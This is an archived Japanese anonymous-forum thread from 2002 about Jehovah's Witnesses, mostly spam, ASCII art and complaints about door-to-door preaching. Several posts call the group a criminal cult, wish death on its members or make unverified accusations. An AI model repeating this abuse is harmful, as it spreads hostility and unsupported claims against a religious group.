1 :
うに@開会司会者(代理) :
02/06/24 12:31
2 :
うに@開会司会者(代理) :02/06/24 12:32
3 :
うに@開会司会者(代理) :02/06/24 12:35
4 :
名無しさん@1周年 :02/06/24 12:36
おう、そんならお前ら以外の宗教の悪口や罵倒をするのを、お前ら自身が まずやめてからものを言え、ボケ。
5 :
うに@開会司会者(代理) :02/06/24 12:36
6 :
うに@開会司会者(代理) :02/06/24 12:37
7 :
うに@開会司会者(代理) :02/06/24 12:38
8 :
うに@開会司会者(代理) :02/06/24 12:39
☆★ 聖書に親しんでください ★☆ あなたは聖書を理解できます ―――――――――――――――――――――――――――――― 聖書を学ぶ集まりが随時開かれています 公開聖書講演会 時宜にかなったたいせつな話が、随時異なる主題で話されます ものみの塔研究 定まった聖書の題目を質問と答えで討論する集会 会衆の書籍研究 生活の中における宗教の役割について、組織的な討論を行います 神権宣教学校 聖書のひとつの書を研究しながら、聖書の話をすることを学びます 奉仕会 聖書の知識を実際に役立たせる方法を示す実演、話などがあります ご一緒に学ぶことができます エホバの証人の王国会館 ―――――――――――――――――――――――――――――― 皆さんのおいでを歓迎します。 入場無料
10 :
名無しさん@1周年 :02/06/24 12:42
そうかい、そうかい。 「みなさんご一緒に」 「エホバです!!」
11 :
名無しさん@1周年 :02/06/24 13:09
第2会場 ★☆ 開設おめでとう /⌒⌒~⌒⌒丶 ピース ( ○-○ ) ♪ ( ノvv-vvハ ) ♪ んなーこたーない ♪ (\∩(|/||⌒ ⌒ || ) ♪ んなーこたーない (3⊂)(G||∩ . ∩ ||)-、 ♪んなーこたーない♪ \ ヽ)||、" ∀ "ノ||○) ♪ んなーこたーない \ || ゚。。゚へ ||"" / ̄ヽ ,― 、 \ o 。。。♪ | ||三三●)三三m三三Ε∃ \._.へ--イ | ゚ ゚ ゚ / | | | |____ |_|____| /. |~ |. | /. | |. .|
12 :
名無しさん@1周年 :02/06/24 13:16
宗教犯罪者が集うスレはここですか?
はい、 ピ ー ス ( オカエシ ) うたの内容が ♪んなーこたーない♪ なのがおもしろです。 また来てくださ〜い。
14 :
名無しさん@1周年 :02/06/24 13:44
>>12 そうです、エホ証になれなかった者が集っています
名前もヒンノム怪棺とかゲヘナ怪棺にすれば・・
15 :
名無しさん@1周年 :02/06/24 13:50
☆ ∵∴∴☆※☆∴∵∴ ./ \ ※∵☆☆★☆★☆★☆☆∵※ *∵☆★☆☆*☆*☆☆★☆∴* ※∴★☆☆*°°|°°*☆☆★∴※ *.∴☆☆☆°°°°|°°°°☆☆☆∴ * *∴☆★☆°\°☆☆★☆☆°/°☆★☆∴ .. ※☆☆*°°★°°|°°★°°*☆☆※ * ∴☆★☆°°☆ ☆°°☆★☆∴ ∴☆☆*°°☆ ネ兄 ☆°°*☆☆∴ ※☆★☆――★ ★――☆★☆※ ⌒★ ∵☆☆*°°☆ エホバ第2会場 ☆°°*☆☆∵ * ∵☆★☆°°☆ ☆°°☆★☆∵ ※☆☆☆*°°★°°|°°★°°*☆☆☆※ * *∵☆★☆°/°☆☆★☆☆°\°☆★☆∵ ∵☆☆☆°°°°|°°°°☆☆☆∵ ドーーーン!!! ※∵★☆☆*°°|°°*☆☆★∵※ *...☆∵☆★☆☆*☆*☆☆★☆∵☆ .ζ ※∴∵☆★☆★☆★☆∵∴※ ☆ ∴∵∴☆※☆∴∴∵
エホ証スレッドをまとめていただいたのは有難いが、折原が居なくなった今、 このスレの存在意義はないだろう・・・。
17 :
名無しさん@1周年 :02/06/24 21:05
おまんこ祭り開催中!
うにさん几帳面な方ですね。
19 :
名無しさん@1周年 :02/06/24 22:22
主はこのスレにエイエンの生命を与えました。
20 :
名無しさん@1周年 :02/06/25 00:57
ネ 兄 ☆
21 :
名無しさん@1周年 :02/06/25 01:15
般 羯 多 呪 多 得 想 掛 所 亦 無 耳 不 是 異 蘊 観 摩 若 諦 呪 能 是 阿 究 礙 得 無 意 鼻 増 舎 色 皆 自 訶 心 羯 即 除 大 耨 竟 無 故 老 識 舌 不 利 色 空 在 般 経 諦 説 一 神 多 涅 掛 菩 死 界 身 減 子 即 度 菩 若 呪 切 呪 羅 槃 礙 提 盡 無 意 是 是 是 一 薩 波 波 曰 苦 是 三 三 故 薩 無 無 無 故 諸 空 切 行 羅 羅 真 大 藐 世 無 陀 苦 明 色 空 法 空 苦 深 蜜 羯 実 明 三 諸 有 依 集 亦 聲 中 空 即 厄 般 多 提 不 呪 菩 佛 恐 般 滅 無 香 無 相 是 舎 若 心 虚 是 提 依 怖 若 道 無 味 色 不 色 利 波 経 波 故 無 故 般 遠 波 無 明 觸 無 生 受 子 羅 羅 説 上 知 若 離 羅 智 盡 法 受 不 想 色 蜜 僧 般 呪 般 波 一 蜜 亦 乃 無 想 滅 行 不 多 羯 若 是 若 羅 切 多 無 至 眼 行 不 識 異 時 諦 波 無 波 蜜 顛 故 得 無 界 識 垢 亦 空 照
るるん☆ ペルシャですの☆ まあ。いつの間にか、こんなスレが立っていましたのね。
23 :
名無しさん@1周年 :02/06/25 01:54
24 :
名無しさん@1周年 :02/06/25 02:48
いいよー。表現の自由あるもん。
25 :
名無しさん@1周年 :02/06/25 04:08
WELCOME!! KINGDOM OF JISAKU-JIEN
___ | /
. |(・∀・)| .| . | .\ /
. | ̄ ̄ ̄ジサクジエン王国 | .| ● \-------------/ ●
△ .| .| \ ./
△l | | .| .. \ ./
__△|_.田 |△_____ .. ∧∧∧∧∧. \ . \/
|__|__門_|__|_____| .< > \
. .< ..自 > ジサクジエンデシタ
< 予 .. 作 >
――――――――――――< 感 ..自 >――――――――――――
1 名前:オバケのQ太郎 < !!!! 演 > 04:31 ID:93KpOcsZ
自作自演じゃね〜よ!(略 <. .の >
∨∨∨∨∨
2 名前:折原 誠 ◆3CKPkBXI 投稿日:02/04/09 04:34 ID:93KpOcsZ
>>1 愛してるよ、ペルシャ。(略
3 名前:めざめ 投稿日:02/04/09 04:35 ID:93KpOcsZ
>>2 わけわかね〜 バカヤロ〜!
4 名前:バプテスト喝 投稿日:02/04/09 04:37 ID:93KpOcsZ
>>3 そういうこと(藁
5 名前:dendo. 投稿日:02/04/09 04:41 ID:93KpOcsZ
>>4 あんたらウザイよ!
6 名前:山本誠一 ◆1P./8snQ 投稿日:02/04/09 04:49 ID:93KpOcsZ
>>5 私に敵う者はほかにはいないのだ! ほ〜ほほほほっほほほほほほほほ!
ID晒し! 全て同一人物による自作自演!!!
26 :
名無しさん@1周年 :02/06/25 04:18
27 :
名無しさん@1周年 :02/06/25 06:14
ヽlノ / ♪ .〆⌒ ⌒\ おっはよーおっはよー / lノノ)ノ|.ノ だれもアタイを愚か者と思ってはいけません | | | UU|| \ ((◯ |. | |'__▽.ソ| .◯)) シ □|| ̄ ̄||~'†~|| ̄ ̄||□ ャ シ ゚ . ̄| ̄)|\/| |~ ̄ .゚ . カ ャ \/ミ ミY カ .| | | \ ./ | | / . \|__|/ | | \_\ )) ⊂二l (/
28 :
名無しさん@1周年 :02/06/25 06:59
>>27 あー、いけないんだぁ
エホ証のくせに十字架アクセサリー着けてる
29 :
名無しさん@1周年 :02/06/25 11:54
ここって司会者も居るのですか?
30 :
名無しさん@1周年 :02/06/25 13:10
† さぁ、あなどる者よ、滅び去れ
31 :
名無しさん@1周年 :02/06/25 13:24
>>29 司会者(前スレの1: )最近では不活発気味です
32 :
名無しさん@1周年 :02/06/25 14:57
二度と来るなと言っているにもかかわらず何故来るんだ。
33 :
名無しさん@1周年 :02/06/25 15:27
エホバがやらせているだけ。
34 :
名無しさん@1周年 :02/06/25 23:01
>>1 >エホバの証人に関する話題の総合スレッド第2弾です。愚痴やぼやきも、建設的な意見も、質問もここでどうぞ。
とあるが、他のスレッドとの差別化はどの部分で行うのだ?>1
他スレじゃダメなのか?
エホ証系スレッドをまとめる途中で、「会館スレ、やっぱ要らねぇな」とか思えないわけ?
35 :
名無しさん@1周年 :02/06/25 23:22
王国会館は不滅です キョジンはなくなってもよろし
>>35 そーかー?
軍資金不足で閉鎖に追い込まれるとこもあるぞ。
37 :
名無しさん@1周年 :02/06/26 00:53
キョロ ∧_∧_∧ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ (Д`;三´Д`)< 王国会館はこの世の楽園? (つ ⊂ ) \_______ ( | │ キョロ し(__)
38 :
名無しさん@1周年 :02/06/26 01:06
>聖なる口づけ いいひびきだ わかりやすく解説すろ
39 :
名無しさん@1周年 :02/06/26 02:28
/ ̄ ̄ ̄ ̄ ̄ ,__ | 王国会館ナムナムますように… / ./\ \_____ / ./( ・ ).\ o〇 /_____/ .(´ー`) ,\ ∧∧  ̄|| || || ||. |っ¢..|| (,, ,) || || || ||./,,, |ゝ||ii~ ⊂ ヾ | ̄ ̄ ̄|~~凸( ̄)凸 .( )〜
40 :
名無しさん@1周年 :02/06/26 14:02
さて、王国会館の清掃に逝くとしよう
41 :
名無しさん@1周年 :02/06/26 14:03
我らよ〜神よ〜〜
42 :
名無しさん@1周年 :02/06/26 14:17
43 :
名無しさん@1周年 :02/06/26 15:02
44 :
名無しさん@1周年 :02/06/26 15:32
45 :
名無しさん@1周年 :02/06/26 15:45
46 :
名無しさん@1周年 :02/06/26 15:46
47 :
名無しさん@1周年 :02/06/26 15:58
48 :
名無しさん@1周年 :02/06/26 15:58
49 :
名無しさん@1周年 :02/06/26 15:59
50 :
名無しさん@1周年 :02/06/26 16:16
51 :
名無しさん@1周年 :02/06/26 16:17
52 :
名無しさん@1周年 :02/06/26 16:18
53 :
名無しさん@1周年 :02/06/26 16:32
54 :
名無しさん@1周年 :02/06/26 16:32
55 :
名無しさん@1周年 :02/06/26 16:33
56 :
名無しさん@1周年 :02/06/26 16:40
なんなんだよ??
57 :
名無しさん@1周年 :02/06/26 16:44
58 :
名無しさん@1周年 :02/06/26 16:45
59 :
名無しさん@1周年 :02/06/26 16:45
60 :
名無しさん@1周年 :02/06/26 16:49
そんなに暇なら王国会館に遊びにいらっしゃい
61 :
名無しさん@1周年 :02/06/26 16:56
62 :
名無しさん@1周年 :02/06/26 16:56
63 :
名無しさん@1周年 :02/06/26 16:57
64 :
名無しさん@1周年 :02/06/26 16:58
65 :
名無しさん@1周年 :02/06/26 17:09
66 :
名無しさん@1周年 :02/06/26 17:10
67 :
名無しさん@1周年 :02/06/26 17:11
68 :
名無しさん@1周年 :02/06/26 17:23
69 :
名無しさん@1周年 :02/06/26 17:25
70 :
名無しさん@1周年 :02/06/26 17:26
71 :
名無しさん@1周年 :02/06/26 17:40
できますよ
72 :
名無しさん@1周年 :02/06/26 17:41
73 :
名無しさん@1周年 :02/06/26 17:42
74 :
名無しさん@1周年 :02/06/26 17:43
75 :
名無しさん@1周年 :02/06/26 17:43
折原兄弟、久しぶりに登場ですか?
76 :
名無しさん@1周年 :02/06/26 17:43
77 :
名無しさん@1周年 :02/06/26 17:44
78 :
名無しさん@1周年 :02/06/26 17:51
>76 折原兄弟、2chに来てから性格変わったな。 投げやりなるなよ、エホが全てじゃないんだから。
エホにとってはエホがすべてでないといけない。 だから性格ゆがむやつも沢山出るのではないだろうか。
80 :
名無しさん@1周年 :02/06/26 18:43
81 :
名無しさん@1周年 :02/06/26 18:43
ネットをやってるエホ証は、信仰心が薄い 明日にでもエホ証をやめるだろうさ
83 :
名無し@1周年 :02/06/26 19:03
ホウ。 信仰心と盲信を混同しているようだな。
84 :
名無しさん@1周年 :02/06/26 19:03
逆に言えば、こんなスレに来る離脱者はもといたところへ舞い戻ってしまう 可能性が高いかも。
85 :
名無しさん@1周年 :02/06/26 19:08
86 :
名無しさん@1周年 :02/06/26 19:08
87 :
名無しさん@1周年 :02/06/26 19:09
88 :
名無しさん@1周年 :02/06/26 19:10
89 :
名無しさん@1周年 :02/06/26 19:21
90 :
名無しさん@1周年 :02/06/26 19:22
91 :
名無しさん@1周年 :02/06/26 19:22
あぼーん
あぼーん
あぼーん
95 :
名無しさん@1周年 :02/06/26 20:20
___ 実 強 ふ き エ ,. -'''Y´:三三三::`ヽ、__ を. く ま び ホバ /ミミミミミ三三三三彡彡ミヽ. つ ま. れ し よ ___/:三:彡''"\ミ三三彡'~`ヾ、彡`、 け っ て い 麦 {三三ヲ  ̄ ̄ ヾ彡\ る す 冬. じ .!ミ彡〈 ヾ:彡:ヽ ぐ ふ に ゃ {t彡彡〉 /彡彡} 麦 に ま {彡彡'ノ二ニ_‐-, i-‐_.ニ二ヽ 彡彡ノ に の れ 青 /"'i:l >┬o┬、i iy┬o┬< |:i'"V な び て い | ハ|:| `┴‐┴' { }`┴‐┴'′ |:|ハ.l る て 芽 | {..|:l ` ̄ ̄┌|  ̄ |┐ ̄ ̄´ !|,,} | .ん を ヽ_|| └`----'┘ ||_ノ じ だ | ヽ ヽ--―‐--―‐--/ / | ゃ し \ ! \二二二二/ ! / ,..-''"´ ̄`ヽ | \ ―― /lヽ _」 ,/´ ヽ __/\ ヽ_____,i____ノ /井
あぼーん
あぼーん
98 :
名無しさん@1周年 :02/06/27 08:01
王国会館に奇人が住みついたようです
99 :
名無しさん@1周年 :02/06/27 08:16
嘔酷怪棺に改名します
100 :
名無しさん@1周年 :02/06/27 08:44
それにしても、壮観ですな〜」
あぼーん
102 :
名無しさん@1周年 :02/06/27 08:49
103 :
名無しさん@1周年 :02/06/27 08:50
あぼーん
105 :
名無しさん@1周年 :02/06/27 09:11
106 :
名無しさん@1周年 :02/06/27 09:11
オ−ム信者らしいね。変態
107 :
名無しさん@1周年 :02/06/27 09:12
108 :
名無しさん@1周年 :02/06/27 09:21
おりはらさんバレテマス
あぼーん
110 :
名無しさん@1周年 :02/06/27 09:38
111 :
名無しさん@1周年 :02/06/27 09:39
112 :
名無しさん@1周年 :02/06/27 09:39
なにをおこってるんですかね
113 :
名無しさん@1周年 :02/06/27 09:49
1000までやるつもりなんだろうね。 せーんろは続くーよーどーこ、ま、で、も〜♪
あぼーん
115 :
名無しさん@1周年 :02/06/27 10:29
116 :
名無しさん@1周年 :02/06/27 10:29
あぼーん
118 :
名無しさん@1周年 :02/06/27 10:57
119 :
名無しさん@1周年 :02/06/27 10:57
あぼーん
121 :
名無しさん@1周年 :02/06/27 11:28
122 :
名無しさん@1周年 :02/06/27 11:28
あぼーん
124 :
名無しさん@1周年 :02/06/27 11:47
あぼーん
126 :
名無しさん@1周年 :02/06/27 12:05
127 :
名無しさん@1周年 :02/06/27 12:06
あぼーん
129 :
名無しさん@1周年 :02/06/27 12:54
あぼーん
131 :
名無しさん@1周年 :02/06/27 13:35
あぼーん
133 :
名無しさん@1周年 :02/06/27 13:53
あぼーん
135 :
名無しさん@1周年 :02/06/27 14:12
136 :
名無しさん@1周年 :02/06/27 14:13
..
あぼーん
139 :
名無しさん@1周年 :02/06/27 14:56
あぼーん
あぼーん
142 :
名無しさん@1周年 :02/06/27 16:24
あぼーん
あぼーん
145 :
名無しさん@1周年 :02/06/27 16:55
あぼーん
あぼーん
あぼーん
149 :
名無しさん@1周年 :02/06/27 18:14
(・∀・)スンスンス-ン♪ ( ゚д゚)ハッ! (・∀・)スンスンス-ン♪( ゚д゚)イェー (・∀・)スンスンスンス- onegaidesukarayametekure
150 :
名無しさん@1周年 :02/06/27 18:54
やんだようです
151 :
名無しさん@1周年 :02/06/27 18:56
あぼーん
153 :
名無しさん@1周年 :02/06/27 19:26
154 :
名無しさん@1周年 :02/06/27 19:27
155 :
名無しさん@1周年 :02/06/27 19:52
156 :
名無しさん@1周年 :02/06/27 22:06
王国会館に逝って話聞いてきたが、インタ-ネット禁止だって。 まるで北朝鮮だね!
157 :
名無しさん@1周年 :02/06/27 22:27
今もネットの危険性を書いてるよ
159 :
名無しさん@1周年 :02/06/27 22:58
>>158 うん そうだと思うよ
156は禁止って書いてたから、そんなのあったのかなあって思ったんだ
160 :
名無しさん@1周年 :02/06/28 04:59
┌─┴─┐ │===│ └─┬─┘ お ノ φヾ や す 寝ろよ __,,,,,,___ み (⌒ヽ:::::::::::'''''-,, 。 <´・\ ::::::::::::::::::ヽ l D ハ::::::::::::::::::::::ヽ, ∫ .<、・_ ( ) 旦 (⌒ ̄  ̄ ̄ ̄ ̄ ̄ ̄⌒)
161 :
名無しさん@1周年 :02/06/28 07:37
インターネットやったら皆脱会だ
162 :
名無しさん@1周年 :02/06/28 07:40
エホ証やめるかしかないかな、インタ−ネット止められないもん… _____ ______ ∨ ∧ ∧ /⌒彡 __ (゚Д゚ ) ・・・・ / 冫、) /__/(| Y |) / ` /)/ /| ||_|| 〜 / ヽヽ, /| U U ヽ_ニつ旦 /| | / /| / /|
あぼーん
あぼーん
あぼーん
あぼーん
あぼーん
あぼーん
あぼーん
あぼーん
あぼーん
172 :
名無しさん@1周年 :02/06/28 13:27
なんだ。なにも書いてないじゃないか。
173 :
名無しさん@1周年 :02/06/28 13:29
このスレ発狂中ですから
174 :
名無しさん@1周年 :02/06/28 13:32
>>173 そんなぁ
参加者の一人が発狂しただけでしょぉに
175 :
名無しさん@1周年 :02/06/28 13:36
死者が復活中のレスはここですか?
176 :
名無しさん@1周年 :02/06/28 13:38
そ・れ・は *原しゃん?
177 :
名無しさん@1周年 :02/06/28 14:15
ん
あぼーん
179 :
名無しさん@1周年 :02/06/28 14:50
自作自演はエホバの特徴
180 :
名無しさん@1周年 :02/06/28 14:57
お
181 :
名無しさん@1周年 :02/06/28 15:36
179さんに同意。
182 :
名無しさん@1周年 :02/06/28 16:10
り
183 :
名無しさん@1周年 :02/06/28 18:05
枝派にオウム真理教があると聞きましたが。
184 :
名無しさん@1周年 :02/06/28 18:43
朝鮮系で一致
185 :
名無しさん@1周年 :02/06/28 20:05
/\ /\ / \ / \ / ゙'----''"´ ヾ / `:、 / `: | i | ノ ' | | .,___., .,___., i もうだめぼ 開拓の成果なし 、 ''"´`:、 υ / `丶,:' 、. . )___Д____,,.,_,,.;''" / / ο
>>185 義の伝道者 ノア だって家族8人以外はだれ一人として組織に導けなかったんだ
からそんなに悲観する事無いよ
答え応じる人がいたかどうかじゃなくて伝道に参加した事を父は喜んでくださる
さ。
あぼーん
あぼーん
酷い荒らしだな
と思ったら、ここ現役エホ証の立てたスレだったの?
あぼーん
192 :
名無しさん@1周年 :02/06/28 23:11
この空白にだいぶ目が慣れた来たぞ!
193 :
名無しさん@1周年 :02/06/28 23:18
サブリミナル効果でも期待してんじゃないの。エホバのやりそうなことだ。
194 :
名無しさん@1周年 :02/06/28 23:20
>>空白 お前が止めた時点で元通りのエホ証叩きがはじまるだけだぜ? 気付いていないようだから言うけど、その行動、誰も困ってないぞ。 ていうか、エホ証スレが乱立しているから、いっそのこと1000まで続けて 終わらせてくれ。
195 :
名無しさん@1周年 :02/06/28 23:41
空白をなにがみえますか? ほら、○○様が************
196 :
名無しさん@1周年 :02/06/29 08:30
エホバ内での対立は激しいから、 自作自演で迫害を演出してるのは分かってる。
197 :
名無しさん@1周年 :02/06/29 09:18
空白などありません。ね、そうでしょ
198 :
名無しさん@1周年 :02/06/29 09:43
目に見えないものを全て否定するのは危険な勘違いです。
199 :
名無しさん@1周年 :02/06/29 10:11
??????
200 :
名無しさん@1周年 :02/06/29 10:44
200getの私は「非会員」です。
201 :
名無しさん@1周年 :02/06/29 11:25
エホバの証人は、やり方が汚い。
202 :
名無しさん@1周年 :02/06/29 11:48
エホバは、姑息で汚い。
203 :
名無しさん@1周年 :02/06/29 12:03
エホ証 土曜日は開拓するの?お休みですか
204 :
名無しさん@1周年 :02/06/29 12:46
205 :
名無しさん@1周年 :02/06/29 13:54
何が奉仕者だ、頭を冷せ。
あぼーん
あぼーん
あぼーん
209 :
名無しさん@1周年 :02/06/29 16:14
エホ関連のほとんどのスレッドで登場している、 この空白荒らしは、どうにかならんのか? いい加減に止めてくれないか? 他の宗教スレでは出てこない現象だぞ。 エホのやり方はそんなキタナイものなのか? 犯人が信者にせよ、アンチや元信者にせよ エホはそんな卑怯者を生み出すものか?
210 :
名無しさん@1周年 :02/06/29 16:28
エホバの証人は、やり方が汚い。
211 :
名無しさん@1周年 :02/06/29 16:33
エホはそんな卑怯者を生み出すもの。
212 :
名無しさん@1周年 :02/06/29 17:10
>>209 >エホはそんな卑怯者を生み出すものか?
残念ながら神の組織から脱落して卑怯者となった者は数多くおります
代表的な名を挙げておきますと・・・
悪魔サタンと悪霊そしてユダイスカリオテなどです
213 :
名無しさん@1周年 :02/06/29 17:14
神の組織って何ですか?
214 :
名無しさん@1周年 :02/06/29 17:21
☆婆が二人雨の中ご苦労様。 開口一番 「以前からこちらに住んでいた方か確認に来ました。」 何の用か聞くと 「奉仕活動をしている者です」 何の団体と聞くと 「エホバの証人」 お前らは本当に非常識な馬鹿キチガイだ。 なぜ毎度毎度初めから名乗らないんだ。 カルトだから名乗れないんだよな。 似非宗教の非合法団体は日本から出て行け。 二度と来るな。 迷惑だ。 乞食ルンペンの犯罪集団。 インチキ。 ペテン。 地獄行き決定。 死ね 死ね 死ね。 輸血を懇願する子どもを見殺しにした殺人団体。 子ども一人の命より、金、かね、カネなんだよね。
215 :
名無しさん@1周年 :02/06/29 17:40
472 :名無しさん@1周年 :02/06/29 17:22
>>471 >二度と来るな
奉仕者にそのように申してください
匿名で書かれてもどなたか特定できませんので
二度と来るなと言っても
前に住んでいた方か確認に来ました!
性根が腐り切っているんだよ、エホバは。。
216 :
名無しさん@1周年 :02/06/29 18:02
エホバは糞宗教 .∧w∧ ∧w∧ ホントデスネ . ( ,,゚Д゚) (゚ー゚* ) /つ旦| ∴ |旦とヽ @(___) ..丁 (___)@
217 :
名無しさん@1周年 :02/06/29 18:46
> 前に住んでいた方か確認に来ました! (本音)もうそろそろ氏んだ頃かなーって
218 :
名無しさん@1周年 :02/06/29 19:09
> 前に住んでいた方か確認に来ました! (本音)もうそろそろ氏んだ頃かなーって 同じ町内会に住んでいて知らないはずはない。 なるほど、エホバは嘘までついて訪問したわけだ。 犯罪集団だということがこれでハッキリしました。
219 :
名無しさん@1周年 :02/06/29 20:01
催眠商法の一種ですか
220 :
名無しさん@1周年 :02/06/29 20:30
エホバの連中は必ず近所に住んでいるという。 近所にすんでれば、町内会の掲示板に「訃報」が掲示されるからわかるし、 御通夜と葬儀があるからわかるものです。 嘘までついて人を騙そうとする体質なんですね。
221 :
名無しさん@1周年 :02/06/29 20:32
>>212 >残念ながら神の組織から脱落して卑怯者となった者は数多くおります
テキトーな話をしないで欲しいなあ。
これはJW組織が神の組織という前提からでしょ。
とりあえず、神の組織っていうのを証明したら。
223 :
名無しさん@1周年 :02/06/29 22:24
エホバは、無知・無教養の世間知らずだということですね。 聖書をウンヌン言う前に一般常識や礼儀を身につけたら。
マタイ24:14良いたよりが全地でのべつたえられてから、終わりがくる というせいくを実行してるのがエホ証だけしかいないから、みたいな事を言う。 これエホ証の定説
>二度と来るなと言っても >前に住んでいた方か確認に来ました! >性根が腐り切っているんだよ、エホバは。。 結局彼等にとって、強引にでも信者にならせること=隣人愛 だとおもっているからな・・俺らいいことしてるっ!ていう意識しかないの だろう・・ハルマゲが近い!!って本人らは必死だし・ めっさ嫌な人は玄関のドアにエホ証お断り!!等おふだはるのはどうかな・・
あぼーん
227 :
名無しさん@1周年 :02/06/30 09:34
>二度と来るなと言っても >前に住んでいた方か確認に来ました! >性根が腐り切っているんだよ、エホバは。。 結局彼等にとって、強引にでも信者にならせること=隣人愛 だとおもっているからな・・俺らいいことしてるっ!ていう意識しかないの だろう・・ハルマゲが近い!!って本人らは必死だし・ めっさ嫌な人は玄関のドアにエホ証お断り!!等おふだはるのはどうかな・・
228 :
名無しさん@1周年 :02/06/30 09:37
お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。
あぼーん
230 :
名無しさん@1周年 :02/06/30 10:36
お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。
あぼーん
232 :
名無しさん@1周年 :02/06/30 11:05
お仲間だけで細々とエホバ信じるのは結構ですが、赤の他人の家に大勢で押し掛けるのはやめてください。
あぼーん
あぼーん
235 :
名無しさん@1周年 :02/06/30 12:06
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
236 :
名無しさん@1周年 :02/06/30 12:13
237 :
名無しさん@1周年 :02/06/30 12:18
この前僕の留守中に勧誘が来た。彼女に取り次いでもらった。後日彼女 宛ての手紙がポストにはさんであった。どうして名前知ってるの?
238 :
名無しさん@1周年 :02/06/30 12:20
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
239 :
名無しさん@1周年 :02/06/30 12:25
自己紹介しあったんでしょ
240 :
名無しさん@1周年 :02/06/30 12:28
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
すぐに追い返したそうです。不気味がっています。
242 :
名無しさん@1周年 :02/06/30 12:39
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
そのステッカー小さいとおもわれ もっとでかでかとやるべし、 あと、エホバ断り・・とエホバの文字をいれなければ 無効とおもわれ
244 :
名無しさん@1周年 :02/06/30 12:55
エホバの証人のくだらない冊子を作るために 一体どれだけの無駄が生じているのか考えたことはあるのかな
245 :
名無しさん@1周年 :02/06/30 12:57
エホバの証人お断りって書いて、十字架とかめざしとかしめなわとか お札とかお数珠とか置いておく
246 :
名無しさん@1周年 :02/06/30 12:57
ここはエホバの証人から普通の生活を守るスレですよね
247 :
名無しさん@1周年 :02/06/30 12:59
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
あぼーん
249 :
名無しさん@1周年 :02/06/30 13:27
エホバの証人自体が神への冒涜です
250 :
名無しさん@1周年 :02/06/30 14:26
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
あぼーん
あぼーん
あぼーん
あぼーん
255 :
名無しさん@1周年 :02/06/30 16:32
. -、 ∧_∧ (´OO) / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ( ´∀` ) |+++| < ほんの手土産です。めざめよ誌 ( <∨>_.)つ ̄ \__________ | | | (_(_) 月2回お持ちします
256 :
名無しさん@1周年 :02/06/30 16:34
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
257 :
名無しさん@1周年 :02/06/30 17:25
読めません
258 :
名無しさん@1周年 :02/06/30 17:32
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
259 :
名無しさん@1周年 :02/06/30 18:19
なるほど<110番
あぼーん
261 :
名無しさん@1周年 :02/06/30 22:41
読めません
262 :
名無しさん@1周年 :02/06/30 22:45
〜公開質問状〜 『訪問一切禁止』の『ステッカー』が 『読めない』又は『見えない』のですか
263 :
名無しさん@1周年 :02/06/30 22:55
/ ,. ソ ノ |ミノ丿ミ:、 / 彡彡ミ/ ミヽ乂ハ. ',ヽ彡 | ミl``ヽ;;;;./ 〉 ___ | ', |:::l. ´<lニ::iilーrイ `-\ .l:::l. , ∨ | ヽ l::::l , '/_`二「 | ヽ ` /,. "´ ̄/ | ヽ . ヽ__j' 王国会館で・・・ ', ヘ.._\ ``/ サッカ−チ−ム作りましょう!!
あぼーん
265 :
名無しさん@1周年 :02/06/30 22:59
266 :
名無しさん@1周年 :02/06/30 23:53
「元信者の立場から一言 「読めない」のでもなく「見えない」のでもありません。 「無視してる」のです。
267 :
名無しさん@1周年 :02/07/01 00:00
無視する者に事故あれ。
268 :
名無しさん@1周年 :02/07/01 00:07
(゚д゚≡゚д゚≡゚д゚) ナニココ!?
エホバの教えを知らなかったら 一応楽園にいけるんだよ 伝道すなアホ
270 :
名無しさん@1周年 :02/07/01 00:22
(゚д゚≡゚д゚≡゚д゚) ナニココ!?
271 :
名無しさん@1周年 :02/07/01 00:26
>>269 ウソです
このスレを見てしまったからにはもう・・・・・・・・
272 :
名無しさん@1周年 :02/07/01 00:30
(゚д゚≡゚д゚≡゚д゚) ナニココ!?
273 :
名無しさん@1周年 :02/07/01 01:01
カトリック神父の性犯罪がおおいそうですが エホバも多いよ
274 :
名無しさん@1周年 :02/07/01 01:04
(゚д゚≡゚д゚≡゚д゚) ナニココ!?
275 :
名無しさん@1周年 :02/07/01 01:12
王国会館で、暇だからケツの穴周辺を指で検索したら、 この周辺はネバネバネバしている ことを発見した。大発見でしょ ジジ−の聖書ロウドクを聞いてるより有益であった。
276 :
名無しさん@1周年 :02/07/01 01:15
(゚д゚≡゚д゚≡゚д゚) ナニココ!?
277 :
名無しさん@1周年 :02/07/01 01:17
∋oノハヽo∈ / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ | ̄ ̄( ´D`) ̄ ̄| < 叩かれるほど強くなるエホ証よ。きょうも伝道にいきます・・・ |\⌒⌒⌒⌒⌒⌒ \ \ | \ \  ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ \ |⌒⌒⌒⌒⌒⌒ | \. |_______|
278 :
名無しさん@1周年 :02/07/01 05:06
彡 ミ 彡\/ []彡 ミヽU/彡 § 彡[]\U 彡 § エホ証人はお星さまになれるんだ ミヽ彡☆. / ミ/ 彡 彡ヽU 彡[] ミ☆ 彡./ .彡 ∩_∩ ∧_∧ ミ\Uミ彡[] ( ・∀・ ) (´∀` ) U (.つ☆⊂) ( <∨>_.)つ U | | | | | | [] U (_(_) (_(_) ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
279 :
名無しさん@1周年 :02/07/01 05:21
